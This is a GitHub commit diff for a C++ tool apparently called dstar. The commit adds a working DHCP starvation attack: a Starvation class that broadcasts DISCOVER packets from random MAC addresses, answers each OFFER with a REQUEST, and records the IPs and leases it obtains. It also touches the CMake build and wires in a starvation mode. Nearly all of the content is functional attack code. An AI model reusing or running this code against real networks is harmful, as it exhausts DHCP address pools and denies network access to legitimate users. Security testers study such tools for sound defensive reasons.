Skip to content

Commit d4f0dcd

Browse files
committed
Implemented action starvation
1 parent 058e8f7 commit d4f0dcd

File tree

7 files changed

+149
-5
lines changed

7 files changed

+149
-5
lines changed

CMakeLists.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ link_directories("${source_dir}/bin/")
2727
include_directories(include)
2828
set(EXECUTABLE_OUTPUT_PATH "${PROJECT_SOURCE_DIR}/bin")
2929

30-
add_executable(dstar src/main.cpp src/Core.cpp src/actions/Flood.cpp)
30+
add_executable(dstar src/main.cpp src/Core.cpp src/actions/Flood.cpp src/actions/Starvation.cpp)
3131
add_dependencies(dstar ${DEP_ARGSX})
3232
add_dependencies(dstar ${DEP_SPARK})
3333
target_link_libraries(dstar pthread)

include/Core.h

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,21 +18,27 @@
1818
#define DSTAR_CORE_H
1919

2020
#include <thread>
21+
#include <mutex>
2122
#include <list>
2223
#include <string>
2324
#include <spark.h>
2425

2526
#include <PacketInfo.h>
2627
#include <DhcpAction.h>
28+
#include <DhcpSlot.h>
2729

2830
#define SOCK_BUFSIZE 2048
2931

3032
class DhcpAction;
3133

3234
class Core {
3335
private:
34-
std::thread thActions;
3536
std::list<DhcpAction *> actions;
37+
std::list<DhcpSlot *> freeSlots;
38+
std::list<DhcpSlot *> assignedSlots;
39+
std::mutex fsMutex;
40+
std::mutex asMutex;
41+
std::thread thActions;
3642
SpkSock *sock;
3743
unsigned char *buf;
3844

@@ -48,6 +54,8 @@ class Core {
4854
int sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktInfo);
4955

5056
void registerAction(DhcpAction *action);
57+
58+
void addToFreeSlot(DhcpSlot *slot);
5159
};
5260

5361

include/DhcpSlot.h

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#ifndef DSTAR_DHCPSLOT_H
2+
#define DSTAR_DHCPSLOT_H
3+
4+
struct DhcpSlot {
5+
netaddr_ip clientIp;
6+
netaddr_mac clientMac;
7+
netaddr_ip serverIp;
8+
netaddr_mac serverMac;
9+
int lease;
10+
timeval timeStamp;
11+
};
12+
13+
#endif //DSTAR_DHCPSLOT_H

include/actions/Starvation.h

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#ifndef DSTAR_STARVATION_H
2+
#define DSTAR_STARVATION_H
3+
4+
#include <DhcpAction.h>
5+
6+
class Starvation : public virtual DhcpAction {
7+
private:
8+
pthread_mutex_t mutex;
9+
pthread_cond_t cond;
10+
unsigned int lastXid = 0;
11+
public:
12+
Starvation();
13+
14+
~Starvation();
15+
16+
void action(Core *core) override;
17+
18+
void recvDhcpMsg(Core *core, PacketInfo *pktInfo, DhcpPacket *dhcp) override;
19+
};
20+
21+
22+
#endif //DSTAR_STARVATION_H

src/Core.cpp

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,10 +21,9 @@
2121
#include "Core.h"
2222

2323
void Core::executeActions() {
24-
while (!this->stop) {
24+
while (!this->stop)
2525
for (auto action:this->actions)
2626
action->action(this);
27-
}
2827
}
2928

3029
void Core::recvDhcp() {
@@ -133,4 +132,10 @@ void Core::openSocket(const std::string &interface) {
133132

134133
void Core::registerAction(DhcpAction *action) {
135134
this->actions.push_front(action);
135+
}
136+
137+
void Core::addToFreeSlot(DhcpSlot *slot) {
138+
this->fsMutex.lock();
139+
this->freeSlots.push_front(slot);
140+
this->fsMutex.unlock();
136141
}

src/actions/Starvation.cpp

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
#include <iostream>
2+
#include <cstring>
3+
#include <sys/time.h>
4+
5+
#include <actions/Starvation.h>
6+
7+
Starvation::Starvation() {
8+
pthread_mutex_init(&this->mutex, nullptr);
9+
pthread_cond_init(&this->cond, nullptr);
10+
}
11+
12+
Starvation::~Starvation() {
13+
pthread_mutex_destroy(&this->mutex);
14+
pthread_cond_destroy(&this->cond);
15+
}
16+
17+
void Starvation::action(Core *core) {
18+
DhcpPacket dhcpPacket{};
19+
PacketInfo pktInfo{};
20+
timespec maxWaitCond{};
21+
netaddr_mac(req);
22+
int err;
23+
24+
pthread_mutex_lock(&this->mutex);
25+
26+
while (this->lastXid != 0) {
27+
timespec_get(&maxWaitCond, TIMER_ABSTIME);
28+
maxWaitCond.tv_sec += 10;
29+
if (pthread_cond_timedwait(&this->cond, &this->mutex, &maxWaitCond) == ETIMEDOUT)
30+
this->lastXid = 0;
31+
}
32+
33+
eth_rndaddr(&req);
34+
eth_bcast(&pktInfo.phisAddr);
35+
pktInfo.ipDst.ip = 0xFFFFFFFF;
36+
pktInfo.toServer = true;
37+
38+
dhcp_inject_discovery((unsigned char *) &dhcpPacket, &req, nullptr, DHCP_FLAGS_BROADCAST);
39+
if ((err = core->sendDhcpMsg(&dhcpPacket, DHCPPKTSIZE, &pktInfo)) < 0) {
40+
std::cerr << "Starvation action: " << spark_strerror(err) << std::endl;
41+
core->stop = true;
42+
}
43+
lastXid = dhcpPacket.xid;
44+
pthread_mutex_unlock(&this->mutex);
45+
}
46+
47+
void Starvation::recvDhcpMsg(Core *core, PacketInfo *pktInfo, DhcpPacket *dhcp) {
48+
DhcpPacket packet{};
49+
DhcpSlot *slot;
50+
netaddr_mac(chaddr);
51+
netaddr_ip(ipReq);
52+
netaddr_ip(serverIp);
53+
int err;
54+
55+
pthread_mutex_lock(&this->mutex);
56+
57+
if (dhcp->xid != this->lastXid)
58+
return;
59+
60+
memcpy(chaddr.mac, dhcp->chaddr, ETHHWASIZE);
61+
ipReq.ip = dhcp->yiaddr;
62+
serverIp.ip = dhcp->siaddr;
63+
64+
if (dhcp_type_equals(dhcp, DHCP_OFFER)) {
65+
dhcp_inject_request((unsigned char *) &packet, &chaddr, &ipReq, this->lastXid, &serverIp, DHCP_FLAGS_BROADCAST);
66+
pktInfo->ipSrc.ip = ipReq.ip;
67+
pktInfo->ipDst.ip = serverIp.ip;
68+
pktInfo->toServer = true;
69+
if ((err = core->sendDhcpMsg(&packet, DHCPPKTSIZE, pktInfo)) < 0) {
70+
std::cerr << "Starvation action(request): " << spark_strerror(err) << std::endl;
71+
core->stop = true;
72+
}
73+
74+
} else if (dhcp_type_equals(dhcp, DHCP_ACK)) {
75+
slot = new DhcpSlot;
76+
slot->clientIp.ip = ipReq.ip;
77+
memcpy(slot->clientMac.mac, dhcp->chaddr, ETHHWASIZE);
78+
slot->serverIp.ip = serverIp.ip;
79+
slot->serverMac = pktInfo->phisAddr;
80+
gettimeofday(&slot->timeStamp, nullptr);
81+
slot->lease = ntohl(dhcp_get_option_uint(dhcp, DHCP_ADDR_LEASE_TIME));
82+
83+
printf("Ip: %s mac: %s\n", ip_getstr(&slot->clientIp, true), eth_getstr(&slot->clientMac, true));
84+
printf("Ip: %s mac: %s\n", ip_getstr(&slot->serverIp, true), eth_getstr(&slot->serverMac, true));
85+
printf("lease: %d\n", slot->lease);
86+
87+
core->addToFreeSlot(slot);
88+
89+
this->lastXid = 0;
90+
pthread_cond_signal(&this->cond);
91+
} else if (dhcp_type_equals(dhcp, DHCP_NAK)) {
92+
93+
}
94+
pthread_mutex_unlock(&this->mutex);
95+
}

src/main.cpp

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@
1919

2020
#include <dstar.h>
2121
#include <actions/Flood.h>
22+
#include <actions/Starvation.h>
2223

2324
using namespace std;
2425

@@ -76,7 +77,7 @@ int main(int argc, char **argv) {
7677
} else if (options.mode & ATKMODE_RELEASE) {
7778

7879
} else if (options.mode & ATKMODE_STARVATION) {
79-
80+
core.registerAction(new Starvation());
8081
}
8182

8283
core.openSocket(options.iface);

0 commit comments

Comments
 (0)